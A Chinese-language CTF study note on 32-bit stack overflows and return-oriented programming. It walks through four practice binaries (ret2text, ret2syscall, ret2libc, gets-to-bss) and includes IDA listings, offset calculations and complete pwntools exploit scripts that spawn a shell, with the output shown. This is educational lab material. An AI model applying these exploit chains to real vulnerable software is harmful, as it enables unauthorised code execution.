gadgets
主要涉及到当堆栈开启了保护的时候,我们不能够直接将shellcode覆盖到堆栈中执行,而需要利用程序其他部分的可执行的小片段来连接成最终的shellcode。此小片段就是gadgets。根据该文章进行学习
工具list及安装
checksec
—— 该工具专门用来检测程序中受保护的情况
checksec 为编译好 文件
可使用 sudo ln –sf checksec /xxx/xxx/checksec 来链接
checksec pwn1
[*] '/home/toor/pwn1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
GEF
——- 工具用来辅助调试 (和gdb peda 差不多)
# via the install script
$ wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
# manually
$ wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py
$ echo source ~/.gdbinit-gef.py >> ~/.gdbinit
$ gdb -q /path/to/my/bin
gef➤ gef help
patternLocOffset.py
主要用来生成特征字符串
Capstone是一个反汇编框架
cd ~
git clone https://github.com/aquynh/capstone
cd capstone
make
make install
pwntools
pwntools 为二进制利用基类库
cd ~
git clone https://github.com/Gallopsled/pwntools
cd pwntools
python setup.py install
syscall
Syscall的函数调用规范为: execve(“/bin/sh”, 0,0);
对应的汇编代码为:
pop eax, # 系统调用号载入, execve为0xb
pop ebx, # 第一个参数, /bin/sh的string
pop ecx, # 第二个参数,0
pop edx, # 第三个参数,0
int 0x80, # 执行系统调用
ROPgadget Tool
sudo pip install capstone
source code :
$ python setup.py install
$ ROPgadget
pypi install:
$ pip install ropgadget
$ ROPgadget
ROPgadget --binary ret2syscall --only 'pop|ret' | grep "eax"
题目
pwn1
IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets((char *)&v4); //栈溢出
printf("Maybe I will tell you next time !");
return 0;
}
关键点:
- V4 在堆栈中距离 ebp 的位置长度(32位中 ebp+4 为返回地址)
- 找到 系统利用 rop (‘/bin/sh’)
- 编写利用代码
解决方法:
-
手工计算(借助gef辅助计算)/工具计算
手工:安装了 gef 后, gef -q pwn1 b *0x080486AE(IDA 看地址),run ,
可以看到:
$esp : 0xbffff000 → 0xbffff01c → 0x08048329 → "__libc_start_main" $ebp : 0xbffff088 → 0x00000000 esp=0xbffff000 ebp=0xbffff088 0x80486a7 <main+95> lea eax, [esp+0x1c] 0x80486ab <main+99> mov DWORD PTR [esp], eax → 0x80486ae <main+102> call 0x8048460 <gets@plt> lea eax, [esp+0x1c] 这个地方看出 s 参数 地址为[esp+0x1c] s 地址为 0xbffff01c 相对于ebp 为 6c 6c+4 为 返回值地址 !!!!!
借助工具计算 patternLocOffset.py:
其实就是污点字段追踪:生成一个特定字符串,看溢出点位置 这个 地方 他用到了 IDA的远程调试
通过 python patternLocOffset.py -c -l 700 -f test 生成一个 700个长度的字符串 输入进去
查看 ebp 的位置 覆盖的数据 为 0x41366441
通过 python patternLocOffset.py -l 700 -s 41366441 来计算便宜位置
-
题目上是通过 IDA alt + A 搜索字符串。。。
.text:08048638 jnz short locret_8048646 .text:0804863A mov dword ptr [esp], offset command ; "/bin/sh" .text:08048641 call _system
-
编写pwntools
from pwn import *
pwn1 = process('./pwn1')
target = 0x804863a
pwn1.sendline('A' * (112) + p32(target))
pwn1.interactive()
PWN2
IDA:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch][bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
.text:08048E83 mov dword ptr [esp], offset aWhatDoYouPlanT ; "What do you plan to do?"
.text:08048E8A call puts
.text:08048E8F lea eax, [esp+1Ch]
.text:08048E93 mov [esp], eax
.text:08048E96 call gets
.text:08048E9B mov eax, 0
.text:08048EA0 leave
.text:08048EA1 retn
也是通过覆盖返回地址来进行调用,只不过不能直接找到 “/bin/sh” 要自己构造系统调用
关键点:
- v4 距离ebp 地址
- 自己构造rop链
- 构造pwn tools
解决:
1.手工计算
$esp : 0xbffff010 → 0xbffff02c → 0x00000003
$ebp : 0xbffff098 → 0x08049630 → <__libc_csu_fini+0> push ebx
$esi : 0x0
0x8048e8f <main+107> lea eax, [esp+0x1c]
0x8048e93 <main+111> mov DWORD PTR [esp], eax
→ 0x8048e96 <main+114> call 0x804f650 <gets>
↳ 0x804f650 <gets+0> push edi
length:6C : 108
108+4 = 112
2.构造系统调用 ROP链
execve(“/bin/sh”, 0,0);
pop eax, # 系统调用号载入, execve为0xb
ROPgadget --binary ret2syscall --only 'pop|ret' | grep "eax"
0x080bb196 : pop eax ; ret
pop ebx, # 第一个参数, /bin/sh的string
pop ecx, # 第二个参数,0
ROPgadget --binary pwn2 --only 'pop|ret' | grep "ecx"
0x0806eb91 : pop ecx ; pop ebx ; ret
pop edx, # 第三个参数,0
ROPgadget --binary pwn2 --only 'pop|ret' | grep "edx"
0x0806eb6a : pop edx ; ret
int 0x80, # 执行系统调用
ROPgadget --binary pwn2 --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
每个都有ret
ret解释:
1.
eip = [esp];
esp = esp+4;
2.
pop eip (从堆栈中持续拿数据)
"/bin/sh" 字符串:0x90be408
PWN 代码
#!/usr/bin/env python
from pwn import *
sh = process('./pwn2')
pop_eax_ret = 0x080bb196
pop_ecx_ebx_ret = 0x0806eb91
pop_edx_ret = 0x0806eb6a
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_ecx_ebx_ret, 0,binsh, pop_edx_ret,0, int_0x80])
sh.sendline(payload)
sh.interactive()
:~$ python pwn2.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './pwn2': pid 3489
[*] Switching to interactive mode
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ ls
\ exp1.py pwn1 testpwn1.py ?????? ??????
checksec gujian pwn2 testshellcode ?????? ??????
checksec.sh level1 pwn2.py ?????? ??????
examples.desktop level1.c pwntools ????????? ??????
$
PWN3
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets((char *)&v4);
return 0;
}
text:08048666 call _setvbuf
.text:0804866B mov dword ptr [esp], offset s ; "RET2LIBC >_<"
.text:08048672 call _puts
.text:08048677 lea eax, [esp+1Ch]
.text:0804867B mov [esp], eax ; s
.text:0804867E call _gets
.text:08048683 mov eax, 0
.text:08048688 leave
.text:08048689 retn
关键点:
-
s —ebp 参数位置
-
导入表函数地址获取,/bin/sh 字段查找
-
编写pwn
解决方法:
-
ebp 112
-
0804A114 system 地址
-
ROPgadget --binary pwn3 --string "/bin/sh"
Strings information
0x08048720 : /bin/sh
```
-
pwn编写:
system 调用堆栈结构: system_plt add esp,4 先偏移4个字节开始栈顶 0xadbcdadbc pop ebx 取出esp 是的内容 放入ebx (system函数返回地址) sh_addr call system; ret; ret 指向esp -4\ #!/usr/bin/env python from pwn import * sh = process('./pwn3') system_plt = 0x08048460 sh_addr = 0x8048720 payload = flat(['a' * 112, system_plt, 0xabcdabcd, sh_addr]) sh.sendline(payload) sh.interactive()
python pwn3.py [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [+] Starting local process './pwn3': pid 3563 [*] Switching to interactive mode RET2LIBC >_< $ ls \ exp1.py pwn1 pwn3.py
-
pwn4
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch][bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets((char *)&v4);
return 0;
}
.text:080486AE call _printf
.text:080486B3 lea eax, [esp+1Ch]
.text:080486B7 mov [esp], eax ; s
.text:080486BA call _gets
关键点:
1.ebp距离 112
2.system 调用位置
3./bin/sh
4.pwn
解决方法
1.
$esp : 0xbffff000 → 0xbffff01c → 0x08048329 → "__libc_start_main"
$ebp : 0xbffff088 → 0x00000000
0x80486b3 <main+107> lea eax, [esp+0x1c]
0x80486b7 <main+111> mov DWORD PTR [esp], eax
→ 0x80486ba <main+114> call 0x8048460 <gets@plt>
108
112
2.
0804A11C system
3.
ROPgadget --binary pwn4 --string "sh"
Strings information
============================================================
0x08048766 : sh
以上方法为错误方法
思路应该是 构造一个gets函数来接收 /bin/sh 的字符串
故要构造的 rop链为
gets 调用地址
ebx 为内存基址寄存器 所以 pop 内存基址 到 ebx 中
buf 地址
0804A110 gets
ROPgadget --binary pwn4 --only "pop|ret" |grep "ebx"
0x0804843d : pop ebx ; ret
从bss段随便找一个内存
0x804a080
4.
#!/usr/bin/env python
from pwn import *
sh = process('./pwn4')
system_plt = 0x08048490
sh_addr = 0x08048766
get_plt = 0x08048460
pop_ebx = 0x0804843d
buf = 0x804a080
payload = flat(['a' * 112,get_plt,pop_ebx,buf, system_plt, 0xabcdabcd, buf])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
python pwn4.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './pwn4': pid 4027
[*] Switching to interactive mode
Something surprise here, but I don't think it will work.
What do you think ?$ ls
\ examples.desktop level1.c pwn3